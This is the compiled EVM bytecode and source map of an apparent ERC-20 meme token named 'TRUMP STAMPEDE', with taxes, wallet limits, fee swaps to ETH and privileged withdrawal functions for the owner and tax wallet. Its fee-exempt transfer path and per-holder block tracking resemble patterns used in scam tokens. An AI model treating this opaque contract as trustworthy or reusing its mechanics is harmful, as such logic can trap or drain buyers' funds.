0x60806040526004361061013f575f3560e01c8063715018a6116100b357806395d89b411161006d57806395d89b4114610373578063a9059cbb146103a0578063bf474bed146103bf578063c9567bf9146103d4578063dd62ed3e146103e8578063ec1f3f631461042c575f80fd5b8063715018a6146102f1578063751039fc146103055780637d1db4a51461031957806387dd95c01461032e5780638da5cb5b146103425780638f9a55c01461035e575f80fd5b806318160ddd1161010457806318160ddd1461023c57806323b872dd14610250578063313ce5671461026f57806349bd5a5e1461028a57806351bc3c85146102a957806370a08231146102bd575f80fd5b806306fdde031461014a578063095ea7b3146101925780630ee092fd146101c15780630faee56f146101e25780631694505e14610205575f80fd5b3661014657005b5f80fd5b348015610155575f80fd5b5060408051808201909152600e81526d5452554d50205354414d5045444560901b60208201525b60405161018991906117ce565b60405180910390f35b34801561019d575f80fd5b506101b16101ac36600461182e565b61044b565b6040519015158152602001610189565b3480156101cc575f80fd5b506101e06101db366004611858565b610461565b005b3480156101ed575f80fd5b506101f760105481565b604051908152602001610189565b348015610210575f80fd5b50601154610224906001600160a01b031681565b6040516001600160a01b039091168152602001610189565b348015610247575f80fd5b506101f761057e565b34801561025b575f80fd5b506101b161026a366004611873565b61059f565b34801561027a575f80fd5b5060405160128152602001610189565b348015610295575f80fd5b50601254610224906001600160a01b031681565b3480156102b4575f80fd5b506101e0610606565b3480156102c8575f80fd5b506101f76102d7366004611858565b6001600160a01b03165f9081526001602052604090205490565b3480156102fc575f80fd5b506101e0610653565b348015610310575f80fd5b506101e06106cd565b348015610324575f80fd5b506101f7600d5481565b348015610339575f80fd5b506101e0610781565b34801561034d575f80fd5b505f546001600160a01b0316610224565b348015610369575f80fd5b506101f7600e5481565b34801561037e575f80fd5b5060408051808201909152600581526414d513541160da1b602082015261017c565b3480156103ab575f80fd5b506101b16103ba36600461182e565b6107ed565b3480156103ca575f80fd5b506101f7600f5481565b3480156103df575f80fd5b506101e06107f9565b3480156103f3575f80fd5b506101f76104023660046118b1565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610437575f80fd5b506101e06104463660046118e8565b610b9d565b5f610457338484610be2565b5060015b92915050565b6004546001600160a01b0316336001600160a01b0316148061048c57505f546001600160a01b031633145b610494575f80fd5b600480546040516370a0823160e01b815230928101929092526001600160a01b038381169263a9059cbb92919091169083906370a0823190602401602060405180830381865afa1580156104ea573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061050e91906118ff565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303815f875af1158015610556573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061057a9190611916565b5050565b5f61058b6012600a611a29565b61059a9064174876e800611a37565b905090565b5f6105ab848484610d05565b6105fc84336105f785604051806060016040528060288152602001611bac602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061144a565b610be2565b5060019392505050565b6004546001600160a01b0316336001600160a01b031614610625575f80fd5b305f9081526001602052604090205480156106435761064381611482565b47801561057a5761057a816115f2565b5f546001600160a01b031633146106855760405162461bcd60e51b815260040161067c90611a4e565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106f65760405162461bcd60e51b815260040161067c90611a4e565b6107026012600a611a29565b6107119064174876e800611a37565b600d556107206012600a611a29565b61072f9064174876e800611a37565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61075f6012600a611a29565b61076e9064174876e800611a37565b60405190815260200160405180910390a1565b6004546001600160a01b0316336001600160a01b031614806107ac57505f546001600160a01b031633145b6107b4575f80fd5b6004546040516001600160a01b03909116904780156108fc02915f818181858888f193505050501580156107ea573d5f803e3d5ffd5b50565b5f610457338484610d05565b5f546001600160a01b031633146108225760405162461bcd60e51b815260040161067c90611a4e565b601554610100900460ff161561087a5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161067c565b43601455601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108c89030906108b96012600a611a29565b6105f79064174876e800611a37565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610918573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061093c9190611a83565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561099b573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109bf9190611a83565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610a09573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a2d9190611a83565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d7194730610a74816001600160a01b03165f9081526001602052604090205490565b5f80610a875f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610aed573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610b129190611a9e565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610b67573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b8b9190611916565b506015805461ffff1916610101179055565b6004546001600160a01b0316336001600160a01b031614610bbc575f80fd5b6007548111158015610bd057506008548111155b610bd8575f80fd5b6007819055600855565b6001600160a01b038316610c445760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161067c565b6001600160a01b038216610ca55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161067c565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d695760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161067c565b6001600160a01b038216610dcb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161067c565b5f8111610e2c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161067c565b5f80546001600160a01b03858116911614801590610e5757505f546001600160a01b03848116911614155b8015610e7157506004546001600160a01b03848116911614155b156110c357610ea26064610e9c600954600c5411610e9157600554610e95565b6007545b8590611629565b906116ae565b6012549091506001600160a01b038581169116148015610ed057506011546001600160a01b03848116911614155b8015610ef457506001600160a01b0383165f9081526003602052604090205460ff16155b15610fda57600d54821115610f4b5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161067c565b600e5482610f6d856001600160a01b03165f9081526001602052604090205490565b610f779190611ac9565b1115610fc55760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161067c565b600c8054905f610fd483611adc565b91905055505b6012546001600160a01b03848116911614801561100057506001600160a01b0384163014155b1561102d5761102a6064610e9c600a54600c541161102057600654610e95565b6008548590611629565b90505b305f90815260016020526040902054601254600160a01b900460ff1615801561106357506012546001600160a01b038581169116145b8015611071575060155460ff165b801561107e5750600f5481115b801561108d5750600b54600c54115b156110c1576110af6110aa846110a5846010546116ef565b6116ef565b611482565b4780156110bf576110bf476115f2565b505b505b6001600160a01b0384165f9081526003602052604090205460ff168061110057506001600160a01b0383165f9081526003602052604090205460ff165b801561111557506001600160a01b0384163014155b801561112e57505f546001600160a01b03858116911614155b801561114357506001600160a01b0383163014155b1561114d57436013555b6001600160a01b0384165f9081526003602052604090205460ff168015611182575043601454600a546111809190611ac9565b105b156111f6576001600160a01b038085165f81815260016020526040808220805487900390559286168082529083902080548601905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111e89086815260200190565b60405180910390a350505050565b6001600160a01b0384165f9081526003602052604090205460ff1615801561123657506001600160a01b0383165f9081526003602052604090205460ff16155b15611316576012546001600160a01b038481169116146112e4576001600160a01b038381165f9081526016602052604090206012549091868116911614158061127f5750805415155b156112ba576001600160a01b0385165f9081526016602052604090208154815410806112aa57508154155b156112b457805482555b506112de565b6112db600b54600c54116112cf5760016112d1565b5f5b439060ff16611703565b81555b50611316565b6001600160a01b0384165f908152601660205260409020601354815461130991611703565b6002820155436001909101555b801561138e57305f908152600160205260409020546113359082611744565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113859085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546113b09083611703565b6001600160a01b0385165f908152600160205260409020556113f36113d58383611703565b6001600160a01b0385165f9081526001602052604090205490611744565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61143c8585611703565b6040519081526020016111e8565b5f818484111561146d5760405162461bcd60e51b815260040161067c91906117ce565b505f6114798486611af4565b95945050505050565b6012805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106114c8576114c8611b07565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561151f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115439190611a83565b8160018151811061155657611556611b07565b6001600160a01b03928316602091820292909201015260115461157c9130911684610be2565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906115b49085905f90869030904290600401611b1b565b5f604051808303815f87803b1580156115cb575f80fd5b505af11580156115dd573d5f803e3d5ffd5b50506012805460ff60a01b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561057a573d5f803e3d5ffd5b5f825f0361163857505f61045b565b5f6116438385611a37565b9050826116508583611b8c565b146116a75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161067c565b9392505050565b5f6116a783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117a2565b5f8183116116fd57826116a7565b50919050565b5f6116a783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061144a565b5f806117508385611ac9565b9050838110156116a75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161067c565b5f81836117c25760405162461bcd60e51b815260040161067c91906117ce565b505f6114798486611b8c565b5f602080835283518060208501525f5b818110156117fa578581018301518582016040015282016117de565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146107ea575f80fd5b5f806040838503121561183f575f80fd5b823561184a8161181a565b946020939093013593505050565b5f60208284031215611868575f80fd5b81356116a78161181a565b5f805f60608486031215611885575f80fd5b83356118908161181a565b925060208401356118a08161181a565b929592945050506040919091013590565b5f80604083850312156118c2575f80fd5b82356118cd8161181a565b915060208301356118dd8161181a565b809150509250929050565b5f602082840312156118f8575f80fd5b5035919050565b5f6020828403121561190f575f80fd5b5051919050565b5f60208284031215611926575f80fd5b815180151581146116a7575f80fd5b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561198357815f190482111561196957611969611935565b8085161561197657918102915b93841c939080029061194e565b509250929050565b5f826119995750600161045b565b816119a557505f61045b565b81600181146119bb57600281146119c5576119e1565b600191505061045b565b60ff8411156119d6576119d6611935565b50506001821b61045b565b5060208310610133831016604e8410600b8410161715611a04575081810a61045b565b611a0e8383611949565b805f1904821115611a2157611a21611935565b029392505050565b5f6116a760ff84168361198b565b808202811582820484141761045b5761045b611935565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611a93575f80fd5b81516116a78161181a565b5f805f60608486031215611ab0575f80fd5b8351925060208401519150604084015190509250925092565b8082018082111561045b5761045b611935565b5f60018201611aed57611aed611935565b5060010190565b8181038181111561045b5761045b611935565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611b6b5784516001600160a01b031683529383019391830191600101611b46565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611ba657634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204a5d5322bdc147f0a66739cf5cb552241e66196037ef283086524f258c246ecf64736f6c63430008170033

Deployed Bytecode Sourcemap

3848:9766:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5914:83;;;;;;;;;;-1:-1:-1;5984:5:0;;;;;;;;;;;;-1:-1:-1;;;5984:5:0;;;;5914:83;;;;;;;:::i;:::-;;;;;;;;6747:161;;;;;;;;;;-1:-1:-1;6747:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6747:161:0;1023:187:1;11707:208:0;;;;;;;;;;-1:-1:-1;11707:208:0;;;;;:::i;:::-;;:::i;:::-;;4925:54;;;;;;;;;;;;;;;;;;;1626:25:1;;;1614:2;1599:18;4925:54:0;1480:177:1;4992:41:0;;;;;;;;;;-1:-1:-1;4992:41:0;;;;-1:-1:-1;;;;;4992:41:0;;;;;;-1:-1:-1;;;;;1852:32:1;;;1834:51;;1822:2;1807:18;4992:41:0;1662:229:1;6191:95:0;;;;;;;;;;;;;:::i;6916:313::-;;;;;;;;;;-1:-1:-1;6916:313:0;;;;;:::i;:::-;;:::i;6100:83::-;;;;;;;;;;-1:-1:-1;6100:83:0;;4535:2;2499:36:1;;2487:2;2472:18;6100:83:0;2357:184:1;5040:28:0;;;;;;;;;;-1:-1:-1;5040:28:0;;;;-1:-1:-1;;;;;5040:28:0;;;13263:348;;;;;;;;;;;;;:::i;6294:119::-;;;;;;;;;;-1:-1:-1;6294:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6387:18:0;6360:7;6387:18;;;:9;:18;;;;;;;6294:119;2931:148;;;;;;;;;;;;;:::i;11923:161::-;;;;;;;;;;;;;:::i;4731:56::-;;;;;;;;;;;;;;;;11529:170;;;;;;;;;;;;;:::i;2717:79::-;;;;;;;;;;-1:-1:-1;2755:7:0;2782:6;-1:-1:-1;;;;;2782:6:0;2717:79;;4794:58;;;;;;;;;;;;;;;;6005:87;;;;;;;;;;-1:-1:-1;6077:7:0;;;;;;;;;;;;-1:-1:-1;;;6077:7:0;;;;6005:87;;6421:167;;;;;;;;;;-1:-1:-1;6421:167:0;;;;;:::i;:::-;;:::i;4859:59::-;;;;;;;;;;;;;;;;12192:800;;;;;;;;;;;;;:::i;6596:143::-;;;;;;;;;;-1:-1:-1;6596:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6704:18:0;;;6677:7;6704:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6596:143;13000:218;;;;;;;;;;-1:-1:-1;13000:218:0;;;;;:::i;:::-;;:::i;6747:161::-;6822:4;6839:39;175:10;6862:7;6871:6;6839:8;:39::i;:::-;-1:-1:-1;6896:4:0;6747:161;;;;;:::o;11707:208::-;11793:10;;-1:-1:-1;;;;;11793:10:0;175;-1:-1:-1;;;;;11777:26:0;;:51;;;-1:-1:-1;2755:7:0;2782:6;-1:-1:-1;;;;;2782:6:0;11807:10;:21;11777:51;11769:60;;;;;;11863:10;;;11876:30;;-1:-1:-1;;;11876:30:0;;11900:4;11876:30;;;1834:51:1;;;;-1:-1:-1;;;;;11840:14:0;;;;;;11863:10;;;;;11840:14;;11876:15;;1807:18:1;;11876:30:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11840:67;;-1:-1:-1;;;;;;11840:67:0;;;;;;;-1:-1:-1;;;;;3965:32:1;;;11840:67:0;;;3947:51:1;4014:18;;;4007:34;3920:18;;11840:67:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;11707:208;:::o;6191:95::-;6244:7;4594:13;4535:2;4594;:13;:::i;:::-;4579:28;;:12;:28;:::i;:::-;6264:14;;6191:95;:::o;6916:313::-;7014:4;7031:36;7041:6;7049:9;7060:6;7031:9;:36::i;:::-;7078:121;7087:6;175:10;7109:89;7147:6;7109:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7109:19:0;;;;;;:11;:19;;;;;;;;175:10;7109:33;;;;;;;;;;:37;:89::i;:::-;7078:8;:121::i;:::-;-1:-1:-1;7217:4:0;6916:313;;;;;:::o;13263:348::-;13327:10;;-1:-1:-1;;;;;13327:10:0;175;-1:-1:-1;;;;;13313:24:0;;13305:33;;;;;;13388:4;13349:20;6387:18;;;:9;:18;;;;;;13408:14;;13405:73;;13436:30;13453:12;13436:16;:30::i;:::-;13507:21;13542:12;;13539:65;;13568:24;13581:10;13568:12;:24::i;2931:148::-;2844:6;;-1:-1:-1;;;;;2844:6:0;175:10;2844:22;2836:67;;;;-1:-1:-1;;;2836:67:0;;;;;;;:::i;:::-;;;;;;;;;3038:1:::1;3022:6:::0;;3001:40:::1;::::0;-1:-1:-1;;;;;3022:6:0;;::::1;::::0;3001:40:::1;::::0;3038:1;;3001:40:::1;3069:1;3052:19:::0;;-1:-1:-1;;;;;;3052:19:0::1;::::0;;2931:148::o;11923:161::-;2844:6;;-1:-1:-1;;;;;2844:6:0;175:10;2844:22;2836:67;;;;-1:-1:-1;;;2836:67:0;;;;;;;:::i;:::-;4594:13:::1;4535:2;4594;:13;:::i;:::-;4579:28;::::0;:12:::1;:28;:::i;:::-;11976:12;:22:::0;4594:13:::1;4535:2;4594;:13;:::i;:::-;4579:28;::::0;:12:::1;:28;:::i;:::-;12009:14;:22:::0;12047:29:::1;4594:13;4535:2;4594;:13;:::i;:::-;4579:28;::::0;:12:::1;:28;:::i;:::-;12047:29;::::0;1626:25:1;;;1614:2;1599:18;12047:29:0::1;;;;;;;11923:161::o:0;11529:170::-;11602:10;;-1:-1:-1;;;;;11602:10:0;175;-1:-1:-1;;;;;11586:26:0;;:51;;;-1:-1:-1;2755:7:0;2782:6;-1:-1:-1;;;;;2782:6:0;11616:10;:21;11586:51;11578:60;;;;;;11649:10;;:42;;-1:-1:-1;;;;;11649:10:0;;;;11669:21;11649:42;;;;;:10;:42;:10;:42;11669:21;11649:10;:42;;;;;;;;;;;;;;;;;;;;;11529:170::o;6421:167::-;6499:4;6516:42;175:10;6540:9;6551:6;6516:9;:42::i;12192:800::-;2844:6;;-1:-1:-1;;;;;2844:6:0;175:10;2844:22;2836:67;;;;-1:-1:-1;;;2836:67:0;;;;;;;:::i;:::-;12254:11:::1;::::0;::::1;::::0;::::1;;;12253:12;12245:48;;;::::0;-1:-1:-1;;;12245:48:0;;6579:2:1;12245:48:0::1;::::0;::::1;6561:21:1::0;6618:2;6598:18;;;6591:30;6657:25;6637:18;;;6630:53;6700:18;;12245:48:0::1;6377:347:1::0;12245:48:0::1;12317:12;12304:10;:25:::0;12340:15:::1;:80:::0;;-1:-1:-1;;;;;;12340:80:0::1;12377:42;12340:80:::0;;::::1;::::0;;;12431:58:::1;::::0;12448:4:::1;::::0;4594:13:::1;4535:2;4594;:13;:::i;:::-;4579:28;::::0;:12:::1;:28;:::i;12431:58::-;12534:15;;;;;;;;;-1:-1:-1::0;;;;;12534:15:0::1;-1:-1:-1::0;;;;;12534:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12516:55:0::1;;12580:4;12587:15;;;;;;;;;-1:-1:-1::0;;;;;12587:15:0::1;-1:-1:-1::0;;;;;12587:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12516:94;::::0;-1:-1:-1;;;;;;12516:94:0::1;::::0;;;;;;-1:-1:-1;;;;;7215:15:1;;;12516:94:0::1;::::0;::::1;7197:34:1::0;7267:15;;7247:18;;;7240:43;7132:18;;12516:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12500:13;:110:::0;;-1:-1:-1;;;;;12500:110:0;;::::1;-1:-1:-1::0;;;;;;12500:110:0;;::::1;;::::0;;12621:15:::1;::::0;::::1;:31;12660:21;12705:4;12725:24;12705:4:::0;-1:-1:-1;;;;;6387:18:0;6360:7;6387:18;;;:9;:18;;;;;;;6294:119;12725:24:::1;12764:1;12780::::0;12796:7:::1;2755::::0;2782:6;-1:-1:-1;;;;;2782:6:0;;2717:79;12796:7:::1;12621:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;12621:223:0;;;-1:-1:-1;;;;;7653:15:1;;;12621:223:0::1;::::0;::::1;7635:34:1::0;7685:18;;;7678:34;;;;7728:18;;;7721:34;;;;7771:18;;;7764:34;7835:15;;;7814:19;;;7807:44;12818:15:0::1;7867:19:1::0;;;7860:35;7569:19;;12621:223:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;12862:13:0::1;::::0;12893:15:::1;::::0;12855:71:::1;::::0;-1:-1:-1;;;12855:71:0;;-1:-1:-1;;;;;12893:15:0;;::::1;12855:71;::::0;::::1;3947:51:1::0;-1:-1:-1;;4014:18:1;;;4007:34;12862:13:0;::::1;::::0;-1:-1:-1;12855:29:0::1;::::0;3920:18:1;;12855:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;12937:11:0::1;:18:::0;;-1:-1:-1;;12966:18:0;;;;;12192:800::o;13000:218::-;13075:10;;-1:-1:-1;;;;;13075:10:0;175;-1:-1:-1;;;;;13061:24:0;;13053:33;;;;;;13112:12;;13103:7;:21;;:47;;;;;13137:13;;13128:7;:22;;13103:47;13095:56;;;;;;13160:12;:20;;;13189:13;:21;13000:218::o;7237:335::-;-1:-1:-1;;;;;7330:19:0;;7322:68;;;;-1:-1:-1;;;7322:68:0;;8419:2:1;7322:68:0;;;8401:21:1;8458:2;8438:18;;;8431:30;8497:34;8477:18;;;8470:62;-1:-1:-1;;;8548:18:1;;;8541:34;8592:19;;7322:68:0;8217:400:1;7322:68:0;-1:-1:-1;;;;;7409:21:0;;7401:68;;;;-1:-1:-1;;;7401:68:0;;8824:2:1;7401:68:0;;;8806:21:1;8863:2;8843:18;;;8836:30;8902:34;8882:18;;;8875:62;-1:-1:-1;;;8953:18:1;;;8946:32;8995:19;;7401:68:0;8622:398:1;7401:68:0;-1:-1:-1;;;;;7480:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7532:32;;1626:25:1;;;7532:32:0;;1599:18:1;7532:32:0;;;;;;;7237:335;;;:::o;7580:3342::-;-1:-1:-1;;;;;7668:18:0;;7660:68;;;;-1:-1:-1;;;7660:68:0;;9227:2:1;7660:68:0;;;9209:21:1;9266:2;9246:18;;;9239:30;9305:34;9285:18;;;9278:62;-1:-1:-1;;;9356:18:1;;;9349:35;9401:19;;7660:68:0;9025:401:1;7660:68:0;-1:-1:-1;;;;;7747:16:0;;7739:64;;;;-1:-1:-1;;;7739:64:0;;9633:2:1;7739:64:0;;;9615:21:1;9672:2;9652:18;;;9645:30;9711:34;9691:18;;;9684:62;-1:-1:-1;;;9762:18:1;;;9755:33;9805:19;;7739:64:0;9431:399:1;7739:64:0;7831:1;7822:6;:10;7814:64;;;;-1:-1:-1;;;7814:64:0;;10037:2:1;7814:64:0;;;10019:21:1;10076:2;10056:18;;;10049:30;10115:34;10095:18;;;10088:62;-1:-1:-1;;;10166:18:1;;;10159:39;10215:19;;7814:64:0;9835:405:1;7814:64:0;7889:17;2782:6;;-1:-1:-1;;;;;7925:15:0;;;2782:6;;7925:15;;;;:32;;-1:-1:-1;2755:7:0;2782:6;-1:-1:-1;;;;;7944:13:0;;;2782:6;;7944:13;;7925:32;:50;;;;-1:-1:-1;7965:10:0;;-1:-1:-1;;;;;7961:14:0;;;7965:10;;7961:14;;7925:50;7921:1199;;;8003:82;8081:3;8003:73;8027:15;;8015:9;;:27;8014:61;;8061:14;;8014:61;;;8046:12;;8014:61;8003:6;;:10;:73::i;:::-;:77;;:82::i;:::-;8114:13;;7991:94;;-1:-1:-1;;;;;;8106:21:0;;;8114:13;;8106:21;:55;;;;-1:-1:-1;8145:15:0;;-1:-1:-1;;;;;8131:30:0;;;8145:15;;8131:30;;8106:55;:82;;;;-1:-1:-1;;;;;;8166:22:0;;;;;;:18;:22;;;;;;;;8165:23;8106:82;8102:311;;;8226:12;;8216:6;:22;;8208:60;;;;-1:-1:-1;;;8208:60:0;;10447:2:1;8208:60:0;;;10429:21:1;10486:2;10466:18;;;10459:30;10525:27;10505:18;;;10498:55;10570:18;;8208:60:0;10245:349:1;8208:60:0;8321:14;;8311:6;8295:13;8305:2;-1:-1:-1;;;;;6387:18:0;6360:7;6387:18;;;:9;:18;;;;;;;6294:119;8295:13;:22;;;;:::i;:::-;:40;;8287:80;;;;-1:-1:-1;;;8287:80:0;;10931:2:1;8287:80:0;;;10913:21:1;10970:2;10950:18;;;10943:30;11009:28;10989:18;;;10982:56;11055:18;;8287:80:0;10729:350:1;8287:80:0;8386:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8102:311;8438:13;;-1:-1:-1;;;;;8432:19:0;;;8438:13;;8432:19;:43;;;;-1:-1:-1;;;;;;8455:20:0;;8470:4;8455:20;;8432:43;8429:174;;;8508:79;8583:3;8508:70;8530:16;;8520:9;;:26;8519:58;;8562:15;;8519:58;;;8548:13;;8508:6;;:10;:70::i;:79::-;8496:91;;8429:174;8668:4;8619:28;6387:18;;;:9;:18;;;;;;8694:6;;-1:-1:-1;;;8694:6:0;;;;8693:7;:30;;;;-1:-1:-1;8710:13:0;;-1:-1:-1;;;;;8704:19:0;;;8710:13;;8704:19;8693:30;:45;;;;-1:-1:-1;8727:11:0;;;;8693:45;:87;;;;;8763:17;;8742:20;:38;8693:87;:121;;;;;8796:18;;8784:9;;:30;8693:121;8689:420;;;8834:68;8851:50;8855:6;8863:37;8867:20;8888:11;;8863:3;:37::i;:::-;8851:3;:50::i;:::-;8834:16;:68::i;:::-;8950:21;8994:20;;8990:104;;9039:35;9052:21;9039:12;:35::i;:::-;8815:294;8689:420;7976:1144;7921:1199;-1:-1:-1;;;;;9150:24:0;;;;;;:18;:24;;;;;;;;;:50;;-1:-1:-1;;;;;;9178:22:0;;;;;;:18;:22;;;;;;;;9150:50;9149:77;;;;-1:-1:-1;;;;;;9205:21:0;;9221:4;9205:21;;9149:77;:96;;;;-1:-1:-1;2755:7:0;2782:6;-1:-1:-1;;;;;9230:15:0;;;2782:6;;9230:15;;9149:96;:119;;;;-1:-1:-1;;;;;;9249:19:0;;9263:4;9249:19;;9149:119;9132:201;;;9309:12;9294;:27;9132:201;-1:-1:-1;;;;;9348:24:0;;;;;;:18;:24;;;;;;;;:71;;;;;9407:12;9395:10;;9376:16;;:29;;;;:::i;:::-;:43;9348:71;9345:274;;;-1:-1:-1;;;;;9463:15:0;;;;;;;:9;:15;;;;;;:24;;;;;;;9505:13;;;;;;;;;;:22;;;;;;9562:24;;;;;;9481:6;1626:25:1;;1614:2;1599:18;;1480:177;9562:24:0;;;;;;;;9601:7;7580:3342;;;:::o;9345:274::-;-1:-1:-1;;;;;9635:24:0;;;;;;:18;:24;;;;;;;;9634:25;:53;;;;-1:-1:-1;;;;;;9665:22:0;;;;;;:18;:22;;;;;;;;9663:24;9634:53;9631:922;;;9708:13;;-1:-1:-1;;;;;9708:19:0;;;:13;;:19;9704:838;;-1:-1:-1;;;;;9782:15:0;;;9748:31;9782:15;;;:11;:15;;;;;9820:13;;9782:15;;9820:21;;;:13;;:21;;;:49;;-1:-1:-1;9845:19:0;;:24;;9820:49;9816:482;;;-1:-1:-1;;;;;9928:17:0;;9894:31;9928:17;;;:11;:17;;;;;9994:19;;9972;;:41;;:69;;-1:-1:-1;10017:19:0;;:24;9972:69;9968:167;;;10092:19;;10070:41;;9968:167;9871:283;9816:482;;;10222:56;10251:18;;10239:9;;:30;:38;;10276:1;10239:38;;;10272:1;10239:38;10222:12;;:56;;:16;:56::i;:::-;10200:78;;9816:482;9729:584;9704:838;;;-1:-1:-1;;;;;10372:17:0;;10338:31;10372:17;;;:11;:17;;;;;10457:12;;10433:19;;:37;;:23;:37::i;:::-;10408:22;;;:62;10514:12;10489:22;;;;:37;9704:838;10569:11;;10565:170;;10642:4;10624:24;;;;:9;:24;;;;;;:39;;10653:9;10624:28;:39::i;:::-;10615:4;10597:24;;;;:9;:24;;;;;;;:66;;;;10683:40;;-1:-1:-1;;;;;10683:40:0;;;;;;;10713:9;1626:25:1;;1614:2;1599:18;;1480:177;10683:40:0;;;;;;;;10565:170;-1:-1:-1;;;;;10763:15:0;;;;;